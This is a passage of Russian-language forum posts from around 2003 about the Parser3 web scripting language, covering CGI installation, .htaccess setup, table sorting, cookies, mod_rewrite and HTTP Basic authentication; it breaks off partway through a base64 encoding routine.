В разделе Download, иду по ссылке Free BSD, там качаю   parser3_1_0_freebsd48R_cgi_xml.tar.gz, SQL-драйвера и конф. файл auto.p с описаниями кодировок.\
parser3.cgi закачиваю в /cgi-bin/, туда же и распаковываю auto.p и кодировки. Никаких изменений в этот файл не вносил (auto.p). \
.htaccess в себе содержит:\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
CharsetDisable On\
\
В свойствах папок в настройках ValueHOST Allow Override отметил.(для той, где у меня будут лежать хтмл файлы, и создал пустую запись, чтобы начинал с корня искать .htacces`ы)\
\
При попытке открыть _test.html (скачал с этого же сайта) и html`лы, содержащие вставки на Парсере, вываливается Internal Server Error, а в логах написано:\
[error] [client _ip_] Premature end of script headers: /pub/home/_myname_/cgi-bin/parser3.cgi\
\
Удивительно нудное сообщение, но подскажите кто-нибудь, возможно совсем недавно кто-то успешно установил Парсер на ValueHOST`е. Где ошибка?\
\
P.S. Не совсем понимаю, о чем говорю, но в FAR`е, которым я закачиваю все по FTP, флаг ASCII mode в настройке FTP-соединения у меня снят (кажется при его наличии на закаченные файлы сервер будет чихать)"
"19536","Рецепт: главная страница одного малоизвестного :-) сайта - parser.ru"
"19537","Пользователь засылает строку, согласно этой строке создается каталог на диске. Но, не смотря на все, предупреждения они могут вводить и русские буквы. По этому от них нужно избавляться(от русских букв а не от пользователей). Посоветуйте как лучше?"
"19538","по-моему, подобное проще поместить во внеший .cfg с какой-нибудь простой структурой типа\
\
[code]\
section	option1	option2\
/news/	1	0\
/xxxx/	0	1\
[/code]\
\
найти в таблице нужную строчку, считать опции раздела.\
конечно, вразумительно назвать опции."
"19539","причём тут азбука: нужно не [b]убирать[/b] запрещённые символы,\
а оставлять разрешённые.\
\
так не будет ничего забыто (\"..\", \"/\", \"\\\")."
"19540","Зато работает :)\
\
Только почему-то после содержания метода вставляется пробел. Как поправить, чтобы его не было?\
\
$config[^form:fields.foreach[field;value]{ \
^taint[@]${field}[]\
$value}]\
^config.save[/vars.p]"
"19541","ну да, впринципе получается этакий искусственный switch с in`ом)\
\
Но у меня все попроще. Все каталоги, кроме одного ссылаются на один файл. Но вот в этом то каталоге (одном - /arch/) и держатся куча каталогов с архивами выпусков уже аж за полтора года... И уже каждый над каталог ссылается на свой. Думаю свитч или вернее предложенное будет громоздким. Просто в самих каталогах над арчем проверяю на наличие спец-го файла с номером. Если есть берем, если нет - ссылаемся на предыдущий."
"19542","Есть таблица:\
\
id id1 id2 name\
\
где id - уникальный идентификатор,\
    num1, num2, числовые переменные,\
    name - символьная переменная.\
\
Нужно отсортировать таблицу в следующем порядке:\
\
num1 по убыванию,\
num2 по убыванию,\
name по возрастанию.\
\
Примечание: таблица находится не в базе MySQL, она берется из файла, по-этому сортировка посредством MySQL не подходит! :)\
\
Прошу помощи, совета в решении этой задачи."
"19544","@menu_show[]\
^MAIN:dbconnect{\
$menu_table[^table::sql{SELECT nmbr, name, url, hint, parent\
                        FROM menu\
			ORDER BY pos}]\
}\
#nmbr- уникальный id, name- название, url- относительный урл, hint - подсказка, parent - номер меню родителя\
^if($menu_table){ \
<DIV CLASS=\"globalmenu\">\
  <DIV CLASS=\"head\" ID=\"menu\">\
   &nbsp^; <A HREF=\"$MAIN:adm_url\">Заголовок</A>&nbsp^;\
    </DIV>\
   $a(1)\
   ^rec_menu[0;$a;$MAIN:web_url]\
</DIV>\
}\
\
\
@rec_menu[parent;tree;url]\
$b(0)\
^menu_table.menu{\
 ^if($parent == $menu_table.parent){\
 <DIV CLASS=\"menu\">\
  <DIV ^if(^form:menu_nmbr.int(0)!=$menu_table.nmbr){CLASS=\"menu\" ID=\"item\"}{CLASS=\"itemselected\"}>\
    ^for[i](1;$tree){^b.inc(1)\
     }[&nbsp^;\
      ]\
      ^b.inc(1)\
    <IMG SRC=\"/images/nothing.gif\" WIDTH=\"9\" HEIGHT=\"9\" BORDER=\"0\">\
    ^if(^form:menu_nmbr.int(0)==$menu_table.nmbr){\
    <A HREF=\"${MAIN:adm_uri}/?menu_nmbr=$menu_table.nmbr\" TITLE=\"$menu_table.hint\">\
    $menu_table.name</A>\
    &nbsp^;\
    \
    }{\
    <A CLASS=\"menu\" ID=\"mainmenu\" HREF=\"${MAIN:adm_uri}/?menu_nmbr=$menu_table.nmbr\" TITLE=\"$menu_table.hint\">\
     $menu_table.name [$str]\
    </A>\
    }\
  </DIV>\
 </DIV>\
 $str[${url}/$menu_table.url]\
 ^rec_menu[$menu_table.nmbr;$b;$str]\
 } \
}"
"19546","...который использует хеш таблиц, он раза в 3 быстрее и менее рессурсоемкий.\
\
к тому-же сейчас (в версиях парсера >= 3.0.8) хеш таблиц создается одним методом (.hash[...][$.distinct[tables]]"
"19547","http://www.yandex.ru/yandpage?q=1633511330&p=5&ag=h&qs=rpt%3Drad%26text%3Dpowered%2Bby%2Bparser\
\
Error: (GetPage) can't load page for report =)"
"19549","Вот кусок кода, который цепляет tab-delimited файл с колонками name и value и прописывает переменные в текущий класс (обычно MAIN, но ничто не мешает это сделать в любом другом пользовательском классе)\
[code]$siteVars[^table::load[${configPath}${configName}.var]]\
^if(def $siteVars){\
    ^siteVars.menu{\
        $[$siteVars.name][$siteVars.value]\
    }\
}[/code]\
Я этот файл создаю руками, но если стоит задача получать данные из формы, то надо просто позвать ^table::create, в теле которого профорычить ^form:fields и вывести через табулятор key и value."
"19550","http://www.yandex.ru/yandsearch?text=%22powered+by+parser%22&rpt=rad"
"19551","Наверняка есть простейший выход из ситуации.\
Только поподробнее, что и как должно из него ссылаться и открываться."
"19557","http://www.yandex.ru/yandsearch?text=%22UNHANDLED%20EXCEPTION%20%28root%29%22&rpt=rad\
(придумал не я)"
"19559","Возможно и средствами парсера. Но сложнее. Вам надо будет декодировать пришедший пароль (из base64) каким-то образом, потом сделать его хэш (это можно парсером или средствами СУБД) и, сравнив с тем, что есть в базе, выдать пользователю статус 200 и код страницы или 401 и сообщение об ошибке.\
\
Но зачем вам это писать, если разработчики Apache всё уже сделали? :-)"
"19560","попасть в профайл зарегистрированного пользователя можно кликнув по имени пользователя при просмотре опубликованного им сообщения.\
\
посмотреть список всех пользователей, можно после клина на ссылке \"Все пользователи\" под \"Top 10 писателей\"."
"19561","[b]Misha v.3[/b]\
M> 1. телепорт сам умеет облазить ссылки, в том числе с параметрами и сохранять на \
M> диске ЭТО с иными именами, при этом правильно корректирует все ссылки...\
\
Прошу прощения, я недостаточно пояснил ситуацию.\
Дело в том, что для сохранения страниц в телепорте отключена локализация файлов. Он лишь повторяет структуру каталогов сервера при сохранении. Сделано это по многим причинам, как то: применения путей от корня (/img /..), сохранения кода от телепортовых ссылок и проч.\
По сему, надо иметь в реале именно готовую страницу по реальному адресу, либо заставить телепорт считать её таковой.\
\
M> 2. насколько я смог понять, телепорт используется в данном случае исключительно M> как \"паук\", задача которого оббежать весь сайт, при этом каждая страничка сайта \
M> \"знает\", как сохранить себя, и вот тут возникают проблемы с параметрами... в этом \
M> случае, мне также видится лучшим решением mod_rewrite (или бесплатный fatal.ru...)\
\
Да, именно как «паук».\
А что за «mod_rewrite». На сайт схожу, а про такое первый раз слышу…\
\
M> хотя в принципе даже mod_rewrite не особо нужен. вариант: в при записи тела\
M> страницы модифицировать и урл (который ты делаешь из request) и тело документа M> которое ты записываешь. например, у тебя есть документб расположеный по\
M> следующему пути: /index.html?01 ты перед записью сам можешь модифицировать урл, M> например в такой: /01/index.html (match рулит), и кроме того, перед записью ты\
M> должен найти все урлы, которые есть в записываемом теле документа (но не том, что M> отдается телепорту) и тоже заменить ссылки, которые тебе не нравятся, например \
M> /index.html?02 на /02/index.html\
\
Это всё более-менее понятно. Можно попробовать.\
Но какое-то «неэлегантное» решение, согласитесь? ;)\
Гораздо интереснее было бы сделать так, чтобы броузер получал строку вида /01/ или /01.html, а на самом деле отображал сгенерированную страницу /?01…\
\
Для окончательного прояснения своих намерений объясню на пальцах.\
Вот эта страница находится по адресу: http://www.parser.ru/forum/?id=19516, мне нужно, чтобы браузер её видел как http://www.parser.ru/forum/19516/ или ещё лучше http://www.parser.ru/forum/19516.html.\
\
M> 3. у вас есть неточность... при выполнении $string{...} в переменной $string\
M> содержится вовсе не строка, а junction (код). да, в данном случае это большой роли не M> играет, и при вызове ^string.save[...] происходит выполнение этого кода, и результат M> (теперь уже строка) записывается в файл. однако мне кажется, что тут у вас есть\
M> непонимание и вы как-нить наступите на грабли... попробуйте такой код:\
M> $string{^math:random(1000)}\
M> ^string.save[...]\
M> $string\
M> и сравните то, что ушло в броузер и то, что записалось в файл...\
M> чтобы положить в переменную строку, нужно использовать квадратные скобки, а не M> фигурные.\
\
Да, благодарю! Сохранение не работало из-за фигурных скобок.\
Ваш пример с ^math:random непременно рассмотрю.\
Однако, теперь появился ещё один вопрос, а можно ли сохранять не готовый junction строки, а её первоначальный вид без выполнения. А выполнение производить только при открытии сохранённой на диск страницы?\
\
[b]Luzhnikovskiy[/b]\
Честно говоря не понял совершенно вашей первой фразы, уж простите.\
\
L> А апач ведь локально уже стоит?\
Да, стоит и работает."
"19562","Может сделать так что бы для не зарегистрированных пользователей не было видно профайлов зарегистрированных обитателей? Спасибо."
"19565","телепорт умеет сам преобразовывать подобные ссылки (?id=1234) с сохранением структуры каталогов сайта. все, что он делает, это меняет символ '?' в пути на '-', после чего имя файла становится валидным. однако это очень нехорошо... вдруг вы когда-либо перейдете на нормальную реализацию динамического сайта, и тащить за собой груз совместимости такого рода будет тяжело.\
\
[quot]\
Но какое-то «неэлегантное» решение, согласитесь? ;)\
[/quot]\
\
вы используете парсер для генерации кучки статических страниц, и после этого заводите разговор об элегантном решении? :))))\
\
[quot]\
А что за «mod_rewrite». На сайт схожу, а про такое первый раз слышу…\
[/quot]\
\
mod_rewrite это один из модулей уже используемого вами веб сервера апач. краткое руководство на русском (и не только) вы можете почитать тут:\
http://www.egoroff.spb.ru/portfolio/apache/mod_rewrite.html\
а вообще есть ya.ru, с помощью которого можно найти черта лысого, а не только \"что такое mod_rewrite\"."
"19567","mod_rewrite - модуль того самого Apache. занимается тем, что передает запросы в другое место. просто загляните в доку апача и посмотрите на предмет Rewrite* (* значит, что директив, начинающихся со слова Rewrite там много). если что-то непонятно - поиск по форуму на mod_rewrite, а лучше RewriteRule - сто пудов найдутся примеры и объяснения.\
можно сходит на сайт к egr (http://www.egoroff.spb.ru/) - там есть перевод этой части доки апача."
"19568","в прошлый раз когда человек говорил под моим ником несколько не приятно было. Хотя как вы объяснили я был зарегистрирован, а он нет."
"19569","Я, например, читаю форум из почтового клиента. Уверен, что не я один такой :-)"
"19570","http://www.parser.ru/forum/?author=dimka&doSearch=do&eq=true\
\
тут идейно должны выводится сообщения написаные мной, но выводятся так же сообщения не от меня, а от незарегистрированого пользователя + еще от меня..."
"19571","А ещё, пожалуйста, если знаете и если не трудно не могли бы ли вы написать как создать само окно авторизации, без всех процедур кодирования и проч. ими я там сам уже займусь :-)."
"19572","Как переписать, чтобы избавиться от пробела в конце содержимого метода?\
$config[^form:fields.foreach[field;value]{ \
^taint[@]${field}[]\
$value}]\
^config.save[/global.p]"
"19573","#######\
@postprocess[buffer][attr_string;code;code_num;replace]\
\
$code[^buffer.match[<(pre|script)(.*?)>(.+?)</\\1>][ig]]\
\
\
$code_num(1)\
\
$replace{<^match.1.lower[]$match.2>$code_num</^match.1.lower[]>^code_num.inc(1)}\
$buffer[\
	^buffer.match[<(pre|script)(.*?)>(.+?)</\\1>][ig]{$replace}\
]\
\
$buffer[^trim[$buffer]]\
\
$attr_string[class|align|width|bgcolor|border|cellpadding|cellspacing]\
$buffer[^buffer.match[($attr_string)=\"(.+?)\"][ig]{$match.1=$match.2}]\
\
\
$buffer[^buffer.match[(\\s{2,})][g]{^match.1.left(1)}]\
\
\
\
$replace{<${match.1}$match.2>^taint[as-is][$code.3]</$match.1>^code.offset(1)}\
$result[^buffer.match[<(pre|script)(.*?)>(\\d+)</\\1>][g]{$replace}]\
\
@trim[str;char][chr;tbl]\
^if(def $str){\
	$chr[^if(def $char){$char}{\\s}]\
	$str[^str.match[^^$chr*][]{}]\
#	$result[^str.match[$chr+^$][]{}]\
#	нв   ?_-  бгй_бвў_--R Ўлбва__ -  ЎR<миЁе в_Єбв е\
	$tbl[^str.match[^^(.*[^^$chr])$chr*^$]]\
	$result[$tbl.1]\
}{\
	$result[]\
}\
\
\
в чем собственно проблема. Вставляю этот код в auto.p который лежит рядом  с парсером. Ноль не работает. То есть смотрю статистику по странице символов осталось столько же как и без @postprocess... \
\
Вставляю  в auto.p который лежит в www тоже самое(предварительно убал из другого auto.p)\
\
Пытылся вставить в страницу убрав всё из auto.p ругается \
\
[Tue Aug 12 16:31:00 2003] /: x:/home/2nr/www/index.html(97:1): parse error, expecting `$' [parser.compile] то есть он ругается на \
строку\
\
@postprocess[buffer][attr_string;code;code_num;replace]\
\
почему так? :("
"19574","В первом случае все работает, во втором говорит:\
usage failed - no $MAIN:CLASS_PATH were specified\
В чем тут дело и как мне воспльзоваться ^use[]?\
\
Еще вопрос, при котором первый отпадает. Как написать что-то типа\
\
@USE\
/themes/^theme[]/header.p\
\
?\
Не воспринимает метод @USE переменные и методы. Как возможно это сделать?"
"19575","Возможно ли добавленпие в куки сразу несколько значений с помощью парсера?"
"19576","[code]$response:status[401 Authorization Required]\
$response:www-authenticate[Basic realm=\"Somerealm\"][/code]"
"19577","...спамеры все равно его найдут.\
\
если не разрешаешь - то он и в профайле не будет показываться (у меня не показывается, хотя мыл есть, и если кто-то ответит на мое сообщение с галочкой \"послать письмом сообщение без публикации в форуме\" - то это сообщение я получу почтой).\
\
\"чтобы регистрировались\"... не аргумент. кто хочет, тот пусть регистрируется. зарегистрируется - получит дополнительные настройки. заставлять никого мы не будем.\
\
да, кстати, сейчас я перестал показывать ссылку на профайл, если в профайле пользователь ничего не ввел. другие поделания в неспешном процессе реализации..."
"19578","объясняю:\
ранее многие писали сообщения как с регистрацией, так и без регистрации. при этом все таки как правило у большинства пользователей имена уникальные, поэтому если вы попробуете найти сообщения пользователя XYZ, то покажутся все сообщения такого пользователя, вне зависимости от того, зарегистрированным он их постил или нет.\
\
если я убиру эту фичу, то многие сообщения того-же egr-а при поиске по автору вы не найдете, т.к. он их писал не будучи залогиненым.\
\
да, это не очень удобно, но это изначально было сделано так, и переделывать не очень хочется (да и не понятно нужно-ли).\
\
как вариант могу предложить вам изменить свой ник в профайле, чтобы он было более уникальным (при этом ваше авторство сообщений, которые вы писали залогинившись - сохраниться)."
"19579","это:\
[code]\
@USE\
/themes/^theme[]/header.p\
[/code]\
\
работать не будет, а это:\
[code]\
^use[/themes/^theme[]/header.p]\
[/code]\
работать должно (при условии, что ^theme[] вернул что надо и файл, на который указывает $MAIN:CLASS_PATH/themes/то_что_вернул_метод_theme/header.p] существует."
"19580","однако я не вижу в этом смысла. почему не использовать больше одной куки?"
"19581","Вот так, это не то? -\
[code]\
$cookie:cookie00[\
	$.value[$value00]\
	$.expires($time)\
]\
$cookie:cookie02[\
	$.value[$value02]\
	$.expires($time)\
]\
$cookie:cookie03[\
	$.value[$value03]\
	$.expires($time)\
]\
$cookie:cookie04[\
	$.value[$value04]\
	$.expires($time)\
]\
[/code]"
"19582","кроме того, можете несколько модифицировать ваш код, и создавать методы, содержащие [url=\"/docs/lang/definemethod.htm\"]$result[][/url] чтобы полностью контролировать возвращаемые вашими методами значения."
"19584","Извините, но я не совсем понял, что вы имели ввиду! :)"
"19585","к тому-же есть [url=\"/docs/lang/tablesort.htm\"]документация[/url], в которой описано как пользоваться методом таблицы sort (\
обращаем внимание на слова [b]функция_сортировки_по...[/b])\
\
кроме этого в форуме есть поиск, в котором тоже пожно поискать про сортировку таблицы по составному полю."
"19586","Спасибо, что не устаете помогать таким начинающим тормозам, как я.\
Все работает."
"19587","Как третий индекс (сортировку) по символьной переменной сделать?"
"19589","Можно ли извлечь из базы данных MySQL три заначения?\
Одно нам известно, а можно ли извлечь предыдущее относительно известного и слудующее за ним?"
"19590","у меня есть на странице несколько полей для ввода\
и на следующей странице тоже\
\
когда жму субмит на одной, нужно всю инфу из полей записать в куку и передать дальше\
\
через $form:... не пойдёт, т.к. полей может быть до хрена - по этой же причине хочется создать какую-нибудь одну запись типа куки и на каждой следующей странице просто добавлять к ней информацию\
\
(также $form не подходит по соображениям безопасности)\
\
Напр:\
@cookie[nazvanie]\
$expires[session]\
$.name[Ivan]\
$.surname[Petrov]\
$.city[Moscow] и т.д.\
(пример, естественно, чисто условный - это работать не будет)"
"19594","Да, а вот про это я в первом мессадже ничего не сказал, и уже начал догадываться, что и в этом какая-то проблема. Я видел реплики в форуме про установку прав на файл, но не знаю, что это значит. Что за права, где их следует выставить?"
"19595","варианты:\
1. написать аналог compressed cookie\
2. написать механизм сессий (кука одна, а на стороне сервера лежит мешок, доступный по ключу в этой куке, где все твои параметры)"
"19596","Вот такую ошибку я вижу\
\
[i]\
Unhandled Exception (Debug)\
contains illegal assignment attempt of table to MAIN method_frame, use constructor\
body\
\
y:/home/test2.ru/www/auto.p(14)\
exception.type=parser.runtime \
[/i]\
\
\
Разумеется что в [i]y:/home/test2.ru/www/auto.p(14)[/i] ошибок нет, т.к. всё работает и уже давно.\
\
Я думаю что ошибка находится там где я пытаюсь строить древовидную структуру, т.к. всё остально работает, пусть и в изменённом виде.\
\
[code]\
###################################################################\
#Вывод всех сообщений указанного треда\
###################################################################\
@print_tred_message[]\
\
#Соединяемся с базой\
^MAIN:dbconnect{\
\
#Достаём данные из базы\
   $messages[^table::sql{\
        SELECT\
		    forum_message.forum_message_id AS 'forum_message_id',\
			parent_id,\
			title,\
			dt_published,\
			author,\
			body,\
			thread_id\
			\
        FROM\
            forum_message,\
            forum_message_body\
        WHERE\
            (\
                forum_message.forum_message_id=forum_message_body.forum_message_id AND\
                forum_id=^if(def $form:forum){$form:forum}{0} AND\
                is_published=1 AND\
               (forum_message.forum_message_id=^if(def $form:tred){$form:tred}{0} OR\
                thread_id=^if(def $form:tred){$form:tred}{0})\
            )\
        GROUP BY forum_message.forum_message_id\
\
#Сортируем список тредов в обратном порядке\
        ORDER BY dt_published ^if(^form:tred.int(0)==0){DESC}{}}]\
\
#Вызываем построитель деревьев\
^if(def $messages){^build_tread[$messages]}{}}\
\
\
#################################################################\
#Строим древовидную структуру\
#################################################################\
@build_tread[messag][live_message]\
#Выбираем родителя\
$sel_mes{^messag.select($messag.parent_id==^live_message.int(0))}\
\
#Читаем количество сообщений в треде\
$num_messages[^table::sql{select * from forum_message where thread_id=$messag.forum_message_id AND forum_id=0}]\
\
#Перебираем родителей\
^if(def $sel_mes){\
^sel_mes.menu{\
\
#Если сообщение корневое(верхнего уровня)читаем количество сообшений в треде\
\
#Выводим сообщения\
^shablon[^if($sel_mes.thread_id==0){/forum/?tred=$sel_mes.forum_message_id};$sel_mes.title;$sel_mes.dt_published;;$sel_mes.author;$sel_mes.body;\
^if(^form:tred.int(0)==0){\
<table>\
<tr>\
	<td valign=\"middle\">^ansver[$sel_mes.forum_message_id;^if($sel_mes.thread_id==0){$sel_mes.forum_message_id}{$sel_mes.thread_id};0]</td>\
	<td valign=\"top\">^if(^form:tred.int(0)==0){<a href=\"/forum/?tred=$sel_mes.forum_message_id\">Ответов:^num_messages.count[]</a>}</td>\
</tr>\
</table>}]\
\
#Начинаем строительство\
<table>\
<td> </td>\
\
#Вызывем повторно\
<td>^build_tread[$sel_mes.forum_message_id]</td>\
</table>\
}\
}\
[/code]\
\
С хешем я обязательно попробую только с этим разберусь."
"19597","кроме того, ошибка есть и в этой строке:\
[code]\
^build_tread[$sel_mes.forum_message_id]\
[/code]\
\
насколько я вижу из кода, метод build_tread ждет иного параметра.\
\
P.S. то, что бросилось в глаза. изучать чужой код мне лень."
"19598","И вообще, где ты видишь, что они рекомендуют ставить флаг для чтения всеми пользователями? \
\
З.Ы. У меня VPS, так что проблемы с правами не возникают. ;-)"
"19600","Извините, проблема решена. Действительно следовало установить права."
"19601","Как передать index.html вот это: ?id=666 ?\
Это после ? стоит id треда, ясно. Но где и в какой форме он хранится?\
\
Как, например, сделать \
/news/1.html\
/news/2.html\
/news/3.html\
и потом запрашивать их \
/news/?id=1\
/news/?id=2\
/news/?id=3\
\
?"
"19602","?module=blocks&type=admin&func=view\
?module=blocks&type=admin&func=edit\
?module=blocks&type=admin&func=config\
\
Пути такие:\
/modules/Blocks/auto.p или index.html, в которых заданы методы\
@view[]\
@edit[]\
@config[]\
содержимое которых выдается в зависимости от type=admin, type=user.\
Первому выдает все, второму в методах\
@edit[]\
@config[]\
Показывает \"нет прав\"?"
"19603","Ок\
Это сайт типа газеты, журнала. Есть каталог /stati/ В нем храняться все текуще статьи st1-stN.html В корневом каталоге есть файл statis.cfg, где описываются текущие статьи с названием, анотацией и т.д. В нем же есть столбец текущего номера газеты.\
Есть и спец-й каталог для верстки нового номера, но не \"вышедшего в печать\". С ним и работаем в админской части.\
\
Когда готов новый выпуск все автоматом из /statis/ кидается в /arch/N/ N - номер выпуска. Например получается - /arch/32/stati/st1.html А из /vest/ кидается в /stati/\
\
Номер выпуска берется, как говорил из /stati/ И чтобы было видно, если пользователь зашел в /arch/n/ - в нем свой старый statis.cfg\
Помимо статей - есть еще много других каталогов - аля для литраздела, старых статей(не отсортированный, за старые года), контакты ну и т.д...\
\
Как берется выпуск номера. В /auto.p еще в самом начале кода, т.е. он для всех файлов сайта, смотрится где мы. Если мы не в арче - то ссылаемся на /statis.cfg - и берем из него просто первую запись номера текущего выпуска. Если же всетаки попали в /arch/n/ -  то тут начинаем брать текущий /arch/n/statis.cfg Если же мы в /arch/n/stati/ - то берем ../statis.cfg\
\
Вот наверно и все). Структура на мой теперщный взгляд ужасная))). Хотя уже все наверно привыкли и все админские фичи оттестены давно и все удобно впринципе то, как говорят журналисты и корректоры..."
"19604","Ivan_Petrov_Moscow\
Ну или свои разделители уникальные. И потом резать на части и с ними работать..."
"19605","Например смотреть $form:id\
и потом ${form:id}.html\
\
Ну конечно проверять, что это число и т.д."
"19606","Apache 1.3.27, Parser 3.0.1 XML. Linux, FreeBSD.\
[b].htaccess[/b]:\
[code]\
AddType parsed-html .html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg|xsl|xml)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
\
[b]http://localhost/[/b] и [b]http://localhost/index.html[/b] работают нормально.\
[b]http://localhost/index/[/b] и [b]http://localhost/index.html/[/b]:\
[code]'/home/web/html/index.html/' read failed: Not a directory (20), actual filename '/home/web/html/index.html/' [<no type>][/code]\
\
У модуля к \"Апачу\" под Windows XP ошибки нет."
"19607","Если передавать файлу PATH_TRANSLATED, то CGI версия Parser будет ругаться, что файла не нашёл, ведь он сам получает путь к файлу через эту переменную окружения.\
\
Так что накладка выходит, в Parser CGI, по-моему, невозможно получить (нормальный) $env:PATH_TRANSLATED и $env:PATH_INFO.\
\
http://www.parser.ru/forum/?id=18189"
"19608","положить новости в базу, как положено, сделать нормальный интерфейс, который не будет перетаскивать файлики с места на место, а при публикации просто будет проставлять флаг \"published\"...\
\
а обратную совместимость обеспечить например рерайтами?"
"19609","[code]\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3.cgi\
[/code]\
С AddType многие напарываются на проблемы, с чем это связано я не знаю."
"19612","Эту крайнюю ситуацию, т.е. название каталога = название документа по умолчанию не рассматиривал. Придется специально ловить её. Спасибо за исследования."
"19613","Но тут, как я вижу, уже нужен мускул, а это я оставлю на другой проект))\
\
Все таки уже около 300 статей и уже бороться с ними резону нет.\
\
А что значит \"а обратную совместимость\"? Теперь я не \"въехал\"."
"19614","на Win32 не воспроизводится - у меня это ловится и выдаёт мою 404. Дойду до дому, попробую на локальном Unix'e поиграться."
"19615","[quote]как вариант могу предложить вам изменить свой ник в профайле, чтобы он было более уникальным (при этом ваше авторство сообщений, которые вы писали залогинившись - сохраниться).[/quote]\
 Я сменил свой НИК захожу в профайл и что вижу, написаныых сообщений 0, а было 60 до смены НИКА.\
Тогда как понимать Вашу фразу."
"19616","Parser 3.1 XML CGI под XP:\
[code]\
read failed: Invalid argument (22), actual filename 'd:/.../apache/htdocs/index.html/'\
[/code]"
"19617","только 60 было вместе с теми, которые принадлежали незалогиненому пользователю... так что сейчас их не 60, а меньше."
"19619","Имеется проблема с загрузкой xml ^xdoc::load[http://...] из каталога, закрытого паролем (с общедоступными каталогами все без проблем). Конструкция типа http://user:passwd@server/test.xml работать не хочет. Получается, что доставать файлы из закрытых каталогов Парсером невозможно в принципе, или есть какие-то способы, может кто знает ?"
"19620","пока встроенного способа шифровать пользователь+пароль в нужный вид в Parser нет.\
\
если очень нужно, зашифруйте один раз сами (или подсмотрите authenticate-заголовок) и поставьте этот заголовок в параметры вашего ::load"
"19622","фича Apache: он запускает handler, считая, что тот сам разберётся.\
Parser: мне показалась эта фича не нужной, и я не стал разбираться, какая часть пути файл, какая нет.\
\
если нужно задавить ошибку, то это уже обсуждалось для\
http://localhost/nonexistent.html\
[вылезает не Apache ErrorDocument 404, а запускается обработчик, хотя файла нет]\
и можно так же задавить.\
\
что вы хотите, собственно, получить?\
\
если хитрый адрес, то есть mod_rewrite."
"19623","Сорри, не уловил. Т.е. мне нужно подставить не открытый, а хешированный пароль (типа как из htpasswd) ? Пробовал, не помогает. Парсер (т.е. Apache с подачи парсера) не находит хост user, т.е. не добирается и до пароля :( Если не сложно, можно шаблон запроса, для тупильников ?"
"19624","найдите wget, вызовите его с нужным пользователь/пароль. возьмите поле Authorization, подставьте в свой код:\
[code]\
^xxx::load[http://server/uri;\
   $.Authorization[Basic VVNFUjpQQVNT]\
]\
[/code]\
\
[code]\
C:\\Documents and Settings\\paf\\My Documents>wget -d --http-user=USER  --http-passwd=PASS  http://host\
DEBUG output created by Wget 1.8.2 on Windows.\
\
--14:36:22--  http://host/\
           => `index.html.1'\
Resolving host... done.\
Caching host => x.x.x.x\
Connecting to host[x.x.x.x]:80... connected.\
Created socket 712.\
Releasing 008949C0 (new refcount 1).\
---request begin---\
GET / HTTP/1.0\
User-Agent: Wget/1.8.2\
Host: host\
Accept: */*\
Connection: Keep-Alive\
Authorization: Basic VVNFUjpQQVNT\
\
---request end---\
HTTP request sent, awaiting response... HTTP/1.1 401 Authorization Required\
Date: Wed, 13 Aug 2003 10:36:26 GMT\
Server: Apache/1.3.23 (Unix) rus/PL30.11\
WWW-Authenticate: Basic realm=\"host\"\
Connection: close\
Content-Type: text/html; charset=iso-8859-1\
\
\
Closing fd 712\
Authorization failed.\
[/code]"
"19625","Псевдофайлы из /files/ выдаются файлом /files.html с помощью рерайта. Проблему элементарно обойти, заменив имя обработчика, но злая собака по адресу /index/ по-прежнему будет жить и гавкать пятисотой ошибкой на всякого проходящего."
"19626","видимо, по адресу \"/files/\" имелось в виду?\
видимо, он во что-то эдакое rewrit'ится, и получается некрасиво.\
\
поправить rewrite, и дело с концом?"
"19627","Не скажешь ведь посетителям, чтоб руки не совали."
"19628","как я уже говорил, это можно перехватить, если есть желание: \
найдите соответствующее обсуждение в форуме про http://server/nonexistent.html и 404.\
\
у нас такого желания мало: что происходит по всяким левым адресам для нас несущественно."
"19629","[code]RewriteCond %{REQUEST_FILENAME} !-d\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule ^(files/.*)$ /files.html [L][/code]\
\
[b]http://localhost/files/a[/b]\
\
А в модуле работает."
"19631","BASE64. Единственное ограничение - в пароле разрешены не все символы (см. словарик $bits)\
[code]\
@base64[text][bits;uue;bitSequence;3bytes;sixtet;out;fin;i;j]\
###########################################################\
#<!-- таблица соответствия символов их ASCII-кодам в битовом представлении -->\
$bits[^table::create{from	to\
!	00100001\
^$	00100100\
%	00100101\
&	00100110\
'	00100111\
(	00101000\
)	00101001\
*	00101010\
+	00101011\
,	00101100\
-	00101101\
.	00101110\
/	00101111\
0	00110000\
1	00110001\
2	00110010\
3	00110011\
4	00110100\
5	00110101\
6	00110110\
7	00110111\
8	00111000\
9	00111001\
:	00111010\
^;	00111011\
<	00111100\
=	00111101\
>	00111110\
?	00111111\
^taint[as-is][@]	01000000\
A	01000001\
B	01000010\
C	01000011\
D	01000100\
E	01000101\
F	01000110\
G	01000111\
H	01001000\
I	01001001\
J	01001010\
K	01001011\
L	01001100\
M	01001101\
N	01001110\
O	01001111\
P	01010000\
Q	01010001\
R	01010010\
S	01010011\
T	01010100\
U	01010101\
V	01010110\
W	01010111\
X	01011000\
Y	01011001\
Z	01011010\
[	01011011\
\\	01011100\
]	01011101\
^^	01011110\
_	01011111\
`	01100000\
a	01100001\
b	01100010\
c	01100011\
d	01100100\
e	01100101\
f	01100110\
g	01100111\
h	01101000\
i	01101001\
j	01101010\
k	01101011\
l	01101100\
m	01101101\
n	01101110\
o	01101111\
p	01110000\
q	01110001\
r	01110010\
s	01110011\
t	01110100\
u	01110101\
v	01110110\
w	01110111\
x	01111000\
y	01111001\
z	01111010\
{	01111011\
|	01111100\
}	01111101\
~	01111110}]\
\
#<!-- таблица соответствия битовых сикстетов UU-кодам -->\
$uue[^hash::create[]]\
$uue[\
	$.000000[A]\
	$.000001[B]\
	$.000010[C]\
	$.000011[D]\
	$.000100[E]\
	$.000101[F]\
	$.000110[G]\
	$.000111[H]\
	$.001000[I]\
	$.001001[J]\
	$.001010[K]\
	$.001011[L]\
	$.001100[M]\
	$.001101[N]\
	$.001110[O]\
	$.001111[P]\
	$.010000[Q]\
	$.010001[R]\
	$.010010[S]\
	$.010011[T]\
	$.010100[U]\
	$.010101[V]\
	$.010110[W]\
